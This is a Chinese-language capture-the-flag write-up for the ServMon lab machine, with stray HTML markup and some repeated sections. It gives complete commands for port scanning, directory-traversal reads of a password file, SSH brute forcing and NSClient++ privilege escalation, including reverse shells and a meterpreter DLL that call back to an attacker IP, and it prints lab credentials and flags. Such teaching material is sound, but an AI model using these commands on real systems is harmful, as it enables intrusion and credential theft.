ServMon 靶机渗透测试详细教程<\/h1>

1. 信息收集<\/h2>

1.1 目标识别<\/h3>

目标IP: 10.10.10.184<\/code><\/p>

使用以下命令检查目标是否在线并扫描开放端口：<\/p>

ip=<\/span>'10.10.10.184'<\/span>; itf=<\/span>'tun0'<\/span>; 
<\/span><\/span>if<\/span> nmap -Pn -sn "<\/span>$ip"<\/span> | grep -q "Host is up"<\/span>; then<\/span> 
<\/span><\/span>    echo -e "\e[32m[+] Target <\/span>$ip is up, scanning ports...\e[0m"<\/span>; 
<\/span><\/span>    ports=<\/span>$(<\/span>sudo masscan -p1-65535,U:1-65535 "<\/span>$ip"<\/span> --rate=<\/span>1000<\/span> -e "<\/span>$itf"<\/span> | awk '\/open\/ {print $4}'<\/span> | cut -d '\/'<\/span> -f1 | sort -n | tr '\n'<\/span> ','<\/span> | sed 's\/,$\/\/'<\/span>)<\/span>
<\/span><\/span>    if<\/span> [<\/span> -n "<\/span>$ports"<\/span> ]<\/span>; then<\/span> 
<\/span><\/span>        echo -e "\e[34m[+] Open ports found on <\/span>$ip: <\/span>$ports\e[0m"<\/span>; 
<\/span><\/span>        nmap -Pn -sV -sC -p "<\/span>$ports"<\/span> "<\/span>$ip"<\/span>; 
<\/span><\/span>    else<\/span> 
<\/span><\/span>        echo -e "\e[31m[!] No open ports found on <\/span>$ip.\e[0m"<\/span>; 
<\/span><\/span>    fi<\/span>; 
<\/span><\/span>else<\/span> 
<\/span><\/span>    echo -e "\e[31m[!] Target <\/span>$ip is unreachable, network is down.\e[0m"<\/span>; 
<\/span><\/span>fi<\/span>
<\/span><\/span><\/code><\/pre>1.2 端口扫描结果<\/h3>
开放端口及服务：<\/p>

21\/tcp: FTP (Microsoft ftpd) - 允许匿名登录<\/li>
22\/tcp: SSH (OpenSSH for Windows 8.0)<\/li>
80\/tcp: HTTP<\/li>
135\/tcp: MSRPC<\/li>
139\/tcp: NetBIOS-SSN<\/li>
445\/tcp: Microsoft-DS<\/li>
5666\/tcp: tcpwrapped<\/li>
6063\/tcp: X11?<\/li>
6699\/tcp: Napster?<\/li>
8443\/tcp: HTTPS (NSClient++)<\/li>
49664-49670\/tcp: MSRPC<\/li>
<\/ul>
2. 初始访问<\/h2>
2.1 FTP匿名登录<\/h3>
wget -r ftp:\/\/anonymous:anonymous@10.10.10.184
<\/span><\/span><\/code><\/pre>发现Users<\/code>目录，但需要进一步枚举。<\/p>
2.2 NVMS (网络视频管理系统) LFI漏洞利用<\/h3>
NVMS存在目录遍历漏洞，可以读取系统文件：<\/p>
# 测试漏洞存在性<\/span>
<\/span><\/span>curl 'http:\/\/10.10.10.184\/%2e%2e\/%2e%2e\/%2e%2e\/%2e%2e\/Windows\/win.ini'<\/span> -s
<\/span><\/span>
<\/span><\/span># 获取密码文件<\/span>
<\/span><\/span>curl 'http:\/\/10.10.10.184\/%2e%2e\/%2e%2e\/%2e%2e\/%2e%2e\/Users\/nathan\/desktop\/Passwords.txt'<\/span> -s
<\/span><\/span><\/code><\/pre>获取到的密码文件可能包含有效凭据。<\/p>
2.3 暴力破解SSH<\/h3>
使用获取到的用户名和密码进行SSH暴力破解：<\/p>
hydra -L user.txt -P pass.txt ssh:\/\/10.10.10.184 -t 4<\/span>
<\/span><\/span><\/code><\/pre>成功获取凭据：<\/p>

用户名: nadine<\/code><\/li>
密码: L1k3B1gBut7s@W0rk<\/code><\/li>
<\/ul>
2.4 获取用户标志<\/h3>
通过SSH登录后获取user.txt：<\/p>
a8e13e0045528251a914d0b02528f956
<\/code><\/pre>
3. 权限提升<\/h2>
3.1 NSClient++利用<\/h3>

建立SSH隧道访问本地8443端口：<\/li>
<\/ol>
ssh -L 8443:127.0.0.1:8443 nadine@10.10.10.184
<\/span><\/span><\/code><\/pre>
查看NSClient++配置文件获取密码：<\/li>
<\/ol>
type 'C:\Program Files\NSClient++\nsclient.ini'<\/span>
<\/span><\/span><\/code><\/pre>获取密码: ew2x6SsGTxjRwXOT<\/code><\/p>
3.2 使用Chameleon生成反向shell<\/h3>

使用Chameleon工具生成反向shell：<\/li>
<\/ol>
docker run --rm -v \/path\/to\/Chameleon\/reverseshell:\/tmp chameleon -gcc reverse_win.c
<\/span><\/span><\/code><\/pre>
设置SMB共享传输文件：<\/li>
<\/ol>
smbserver.py -smb2support share .\/ -username maptnh -password maptnh
<\/span><\/span><\/code><\/pre>
在目标机器上连接共享并复制文件：<\/li>
<\/ol>
net use X: \\10.10.16.33\share \/user:<\/span>maptnh maptnh
<\/span><\/span>copy X:\\reverse_win_win_x86_64.exe C:\Users\Nadine\Downloads\reverse_win_win_x86_64.exe
<\/span><\/span><\/code><\/pre>
使用Python脚本执行反向shell：<\/li>
<\/ol>
python3 exp.py "C:\\Users\Nadine\Downloads\reverse_win_win_x86_64.exe"<\/span> https:\/\/127.0.0.1:8443 ew2x6SsGTxjRwXOT
<\/span><\/span><\/code><\/pre>3.3 regsvcs.exe DLL注入<\/h3>

使用GreatSCT生成恶意DLL：<\/li>
<\/ol>
git clone https:\/\/github.com\/GreatSCT\/GreatSCT
<\/span><\/span>cd GreatSCT
<\/span><\/span>sudo .\/GreatSCT.py --ip 10.10.16.33 --port 443<\/span> -t bypass -p regsvcs\/meterpreter\/rev_tcp.py -o rev
<\/span><\/span><\/code><\/pre>
上传rev.dll<\/code>和exp.bat<\/code>到目标机器C:\temp<\/code>目录<\/li>
<\/ol>
exp.bat<\/code>内容：<\/p>
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe C:\\Temp\rev.dll<\/span>
<\/span><\/span><\/code><\/pre>

在NSClient++ Web界面添加执行脚本：<\/p>

访问 https:\/\/127.0.0.1:8443\/index.html#\/settings\/external scripts\/scripts\/shell<\/code><\/li>
添加执行脚本C:\temp\exp.bat<\/code><\/li>
<\/ul>
<\/li>

重启服务触发执行：<\/p>
<\/li>
<\/ol>
sc.exe stop nscp
<\/span><\/span>sc.exe start nscp
<\/span><\/span><\/code><\/pre>3.4 获取root标志<\/h3>
成功提权后获取root.txt：<\/p>
f19c1b367d019bd994eaaead9c6a7894
<\/code><\/pre>
4. 关键知识点总结<\/h2>

LFI漏洞利用<\/strong>：通过NVMS系统的目录遍历漏洞读取系统敏感文件<\/li>
服务配置信息泄露<\/strong>：从NSClient++配置文件中获取管理密码<\/li>
端口转发技术<\/strong>：通过SSH隧道访问受限服务<\/li>
DLL注入提权<\/strong>：利用regsvcs.exe加载恶意DLL实现权限提升<\/li>
服务控制<\/strong>：通过停止和启动服务触发payload执行<\/li>
<\/ol>
5. 防御建议<\/h2>

禁用不必要的服务匿名访问<\/li>
及时更新存在漏洞的软件版本<\/li>
配置文件不应存储明文密码<\/li>
限制服务执行外部脚本的能力<\/li>
实施最小权限原则，避免服务以高权限运行<\/li>
<\/ol>

ServMon 靶机渗透测试详细教程<\/h1>

1. 信息收集<\/h2>

2. 初始访问<\/h2>

3. 权限提升<\/h2>

5. 防御建议<\/h2> 禁用不必要的服务匿名访问<\/li> 及时更新存在漏洞的软件版本<\/li> 配置文件不应存储明文密码<\/li> 限制服务执行外部脚本的能力<\/li> 实施最小权限原则，避免服务以高权限运行<\/li> <\/ol>

5. 防御建议<\/h2>

禁用不必要的服务匿名访问<\/li>
及时更新存在漏洞的软件版本<\/li>
配置文件不应存储明文密码<\/li>
限制服务执行外部脚本的能力<\/li>
实施最小权限原则，避免服务以高权限运行<\/li> <\/ol>